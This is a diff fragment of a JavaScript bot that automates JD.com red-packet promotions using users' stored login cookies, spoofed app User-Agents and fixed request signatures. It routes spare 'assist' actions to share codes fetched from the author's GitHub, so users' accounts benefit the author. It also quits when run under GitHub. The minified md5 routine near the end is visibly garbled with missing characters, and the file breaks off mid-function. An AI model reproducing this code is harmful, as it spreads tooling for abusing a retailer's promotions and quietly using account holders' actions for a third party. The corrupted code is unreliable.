getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_red.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_red.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_red.json') + } + $.authorMyShareIds = [...(res || [])]; + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.discount = 0; + await redPacket(); + await showMsg(); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + $.redPacketId = [...new Set($.redPacketId)]; + if (!isLoginInfo[$.UserName]) continue + if (cookiesArr && cookiesArr.length >= 2) { + console.log(`\n\n自己账号内部互助`); + for (let j = 0; j < $.redPacketId.length && $.canHelp; j++) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${$.redPacketId[j]} 进行助力`) + $.max = false; + await jinli_h5assist($.redPacketId[j]); + await $.wait(2000) + if ($.max) { + $.redPacketId.splice(j, 1) + j-- + continue + } + } + } + if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { + console.log(`\n\n有剩余助力机会则给作者进行助力`); + for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { + console.log(`\n账号 ${$.index} ${$.UserName} 开始给作者 ${$.authorMyShareIds[j]} 进行助力`) + $.max = false; + await jinli_h5assist($.authorMyShareIds[j]); + await $.wait(2000) + if ($.max) { + $.authorMyShareIds.splice(j, 1) + j-- + continue + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function redPacket() { + try { + await doLuckDrawFun();//券后9.9抽奖 + await taskHomePage();//查询任务列表 + await doTask();//领取任务,做任务,领取红包奖励 + await h5activityIndex();//查询红包基础信息 + await red();//红包任务(发起助力红包,领取助力红包等) + await h5activityIndex(); + } catch (e) { + $.logErr(e); + } +} +function showMsg() { + console.log(`\n\n${$.name}获得红包:${$.discount}元\n\n`); + // $.msg($.name, '', `${$.name}:${$.discount}元`) +} +async function doLuckDrawFun() { + for (let i = 0; i < 3; i++) { + await doLuckDrawEntrance(); + } +} +function doLuckDrawEntrance() { + return new Promise(resolve => { + const options = { + url: 'https://api.m.jd.com/client.action?functionId=doLuckDrawEntrance&body=%7B%22platformType%22%3A%221%22%7D&appid=XPMSGC2019&client=m&clientVersion=1.0.0&area=19_1601_50258_62858&geo=%5Bobject%20Object%5D&uuid=88732f840b77821b345bf07fd71f609e6ff12f43', + headers: { + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Content-Length": "0", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "jdapp;iPhone;9.5.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;model/iPhone11,8;addressid/2005183373;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/yj8mbcm6roENn7qhNdhiekyeqtd/index.html", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === '0' && data.busiCode === '0') { + if (data.result.luckyDrawData.actId) { + if (data.result.luckyDrawData.redPacketId) { + console.log(`券后9.9抽奖获得【红包】:${data.result.luckyDrawData.quota}元`); + } else { + console.log(`券后9.9抽奖获得【优惠券】:${data.result.luckyDrawData.discount}元:${data.result.luckyDrawData.prizeName},${data.result.luckyDrawData.quotaDesc}`); + } + } else { + console.log(`券后9.9抽奖获失败:今日3次抽奖机会已用完\n`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask() { + if ($.taskHomePageData && $.taskHomePageData.code === 0) { + $.taskInfo = $.taskHomePageData.data.result.taskInfos; + if ($.taskInfo && $.taskInfo.length > 0) { + console.log(` 任务 状态 红包是否领取`); + for (let item of $.taskInfo) { + console.log(`${item.title.slice(-6)} ${item.alreadyReceivedCount ? item.alreadyReceivedCount: 0}/${item.requireCount} ${item.innerStatus === 4 ? '是':'否'}`) + } + for (let item of $.taskInfo) { + //innerStatus=4已领取红包,3:任务已完成,红包未领取,2:任务已领取,但未完成,7,未领取任务 + if (item.innerStatus === 4) { + console.log(`[${item.title}] 已经领取奖励`) + } else if (item.innerStatus === 3) { + await receiveTaskRedpacket(item.taskType); + } else if (item.innerStatus === 2) { + if (item.taskType !== 0 && item.taskType !== 1) { + console.log(`开始做【${item.title}】任务`); + await active(item.taskType); + console.log(`开始领取【${item.title}】任务所得红包奖励`); + await receiveTaskRedpacket(item.taskType); + } else if (item.taskType === 1) { + //浏览10秒任务 + console.log(`开始做【${item.title}】任务`); + await doAppTask(); + } else { + //TODO 领3张优惠券 + console.log(`[${item.title}] 功能未开发`) + } + } else if (item.innerStatus !== 4) { + console.log(`\n开始领取【${item.title}】任务`); + await startTask(item.taskType); + if (item.taskType !== 0 && item.taskType !== 1) { + console.log(`开始做【${item.title}】任务`); + await active(item.taskType); + console.log(`开始领取【${item.title}】任务所得红包奖励`); + await receiveTaskRedpacket(item.taskType); + } else if (item.taskType === 1) { + //浏览10秒任务 + console.log(`开始做【${item.title}】任务`); + await doAppTask(); + } else { + //TODO 领3张优惠券 + console.log(`[${item.title}] 功能未开发`) + } + } + } + } + } else { + console.log(`\n获取任务列表异常:${JSON.stringify($.taskHomePageData)}\n`) + } +} +async function red() { + $.hasSendNumber = 0; + $.assistants = 0; + $.waitOpenTimes = 0; + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { + const rewards = $.h5activityIndex.data.result.rewards || []; + $.hasSendNumber = $.h5activityIndex.data.result.hasSendNumber; + if ($.h5activityIndex.data.result.redpacketConfigFillRewardInfo) { + for (let key of Object.keys($.h5activityIndex.data.result.redpacketConfigFillRewardInfo)) { + let vo = $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[key] + $.assistants += vo.hasAssistNum + if (vo.packetStatus === 1) { + $.waitOpenTimes += 1 + } + } + } + } + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 10002) { + //可发起拆红包活动 + await h5launch(); + } else if ($.h5activityIndex && $.h5activityIndex.data && ($.h5activityIndex.data.biz_code === 20001)) { + //20001:红包活动正在进行,可拆 + const redPacketId = $.h5activityIndex.data.result.redpacketInfo.id; + if (redPacketId) $.redPacketId.push(redPacketId); + console.log(`\n\n当前待拆红包ID:${$.h5activityIndex.data.result.redpacketInfo.id},进度:再邀${$.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].requireAssistNum - $.h5activityIndex.data.result.redpacketConfigFillRewardInfo[$.hasSendNumber].hasAssistNum}个好友,开第${$.hasSendNumber + 1}个红包。当前已拆红包:${$.hasSendNumber}个,剩余${$.h5activityIndex.data.result.remainRedpacketNumber}个红包待开,已有${$.assistants}好友助力\n\n`) + console.log(`当前可拆红包个数:${$.waitOpenTimes}`) + if ($.waitOpenTimes > 0) { + for (let i = 0; i < $.waitOpenTimes; i++) { + await h5receiveRedpacketAll(); + await $.wait(500); + } + } + } else if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.biz_code === 20002) { + console.log(`\n${$.h5activityIndex.data.biz_msg}\n`); + } +} +//获取任务列表API +function taskHomePage() { + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + $.taskHomePageData = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取任务API,需token +function startTask(taskType) { + // 从taskHomePage返回的数据里面拿taskType + let data = {taskType}; + data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + console.log(`领取任务:${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +//做任务fun +async function active(taskType) { + const getTaskDetailForColorRes = await getTaskDetailForColor(taskType); + if (getTaskDetailForColorRes && getTaskDetailForColorRes.code === 0) { + if (getTaskDetailForColorRes.data && getTaskDetailForColorRes.data.result) { + const { advertDetails } = getTaskDetailForColorRes.data.result; + for (let item of advertDetails) { + await $.wait(1000); + if (item.id && item.status === 0) { + await taskReportForColor(taskType, item.id); + } + } + } else { + console.log(`任务列表为空,手动进入app内检查 是否存在[从京豆首页进领券中心逛30秒]的任务,如存在,请手动完成再运行脚本`) + $.msg(`${$.name}`, '', '手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本'); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `执行脚本出现异常\n请手动进入app内检查\n是否存在[从京豆首页进领券中心逛30秒]的任务\n如存在,请手动完成再运行脚本`) + } + } else { + console.log(`---具体任务详情---${JSON.stringify(getTaskDetailForColorRes)}`); + } +} + +//获取具体任务详情API +function getTaskDetailForColor(taskType) { + const data = {"clientInfo":{}, taskType}; + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + // console.log('getTaskDetailForColor', data); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//做成任务API +function taskReportForColor(taskType, detailId) { + const data = {taskType, detailId}; + data['token'] = $.md5($.md5("j" + JSON.stringify(data) + "D")) + //console.log(`活动id:::${detailId}\n`) + return new Promise((resolve) => { + $.post(taskUrl(arguments.callee.name.toString(), data), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + // console.log(`taskReportForColor`, data); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取做完任务后的红包 +function receiveTaskRedpacket(taskType) { + const body = {"clientInfo":{}, taskType}; + return new Promise((resolve) => { + $.post(taskUrl('h5receiveRedpacketAll', body), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.data.success && data.data.biz_code === 0) { + console.log(`红包领取成功,获得${data.data.result.discount}元\n`) + $.discount += Number(data.data.result.discount); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//助力API +function jinli_h5assist(redPacketId) { + //一个人一天只能助力两次,助力码redPacketId 每天都变 + const body = {"clientInfo":{},redPacketId,"followShop":0,"promUserState":""}; + const options = taskUrl(arguments.callee.name.toString(), body) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + // status ,0:助力成功,1:不能重复助力,3:助力次数耗尽,8:不能为自己助力 + console.log(`助力结果:${data.data.result.statusDesc}`) + if (data.data.result.status === 2) $.max = true; + if (data.data.result.status === 3) $.canHelp = false; + if (data.data.result.status === 9) $.canHelp = false; + } else { + console.log(`助力异常:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//领取红包API +function h5receiveRedpacketAll() { + const options = taskUrl(arguments.callee.name.toString(), {"clientInfo":{}}) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + console.log(`拆红包获得:${data.data.result.discount}元`) + } else { + console.log(`领红包失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//发起助力红包API +function h5launch() { + const body = {"clientInfo":{},"followShop":0,"promUserState":""}; + const options = taskUrl(arguments.callee.name.toString(), body) + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data && data.data.biz_code === 0) { + if (data.data.result.redPacketId) { + console.log(`\n\n发起助力红包 成功:红包ID ${data.data.result.redPacketId}`) + $.redPacketId.push(data.data.result.redPacketId); + } else { + console.log(`\n\n发起助力红包 失败:${data.data.result.statusDesc}`) + } + } else { + console.log(`发起助力红包 失败:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function h5activityIndex() { + const body = {"clientInfo":{},"isjdapp":1}; + const options = taskUrl(arguments.callee.name.toString(), body); + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`); + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + $.h5activityIndex = data; + $.discount = 0; + if ($.h5activityIndex && $.h5activityIndex.data && $.h5activityIndex.data.result) { + const rewards = $.h5activityIndex.data.result.rewards || []; + for (let item of rewards) { + $.discount += item.packetSum; + } + if ($.discount) $.discount = $.discount.toFixed(2); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doAppTask(type = '1') { + let body = { + "pageClickKey": "CouponCenter", + "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", + "lat": "", + "globalLat": "", + "lng": "", + "globalLng": "" + } + await getCcTaskList('getCcTaskList', body, type); + body = { + "globalLng": "", + "globalLat": "", + "monitorSource": "ccgroup_ios_index_task", + "monitorRefer": "", + "taskType": "1", + "childActivityUrl": "openapp.jdmobile%3a%2f%2fvirtual%3fparams%3d%7b%5c%22category%5c%22%3a%5c%22jump%5c%22%2c%5c%22des%5c%22%3a%5c%22couponCenter%5c%22%7d", + "pageClickKey": "CouponCenter", + "lat": "", + "taskId": "727", + "lng": "", + } + await $.wait(10500); + await getCcTaskList('reportCcTask', body, type); +} +function getCcTaskList(functionId, body, type = '1') { + let url = ''; + return new Promise(resolve => { + if (functionId === 'getCcTaskList') { + url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158358007&sign=a15f78e5846f9b0178dcabb1093a6a7f&sv=100` + } else if (functionId === 'reportCcTask') { + url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1617158435079&sign=7eff07437dd817dbfa348c209fd5c129&sv=120` + } + const options = { + url, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "63", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Cookie": cookie, + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data); + if (type === '1' && functionId === 'reportCcTask') console.log(`京东首页点击“领券”逛10s任务:${data}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?appid=jinlihongbao&functionId=${functionId}&loginType=2&client=jinlihongbao&clientVersion=10.1.0&osVersion=iOS&d_brand=iPhone&d_model=iPhone&t=${new Date().getTime() * 1000}`, + body: `body=${escape(JSON.stringify(body))}`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://happy.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html", + "Content-Length": "56", + "Accept-Language": "zh-cn" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new 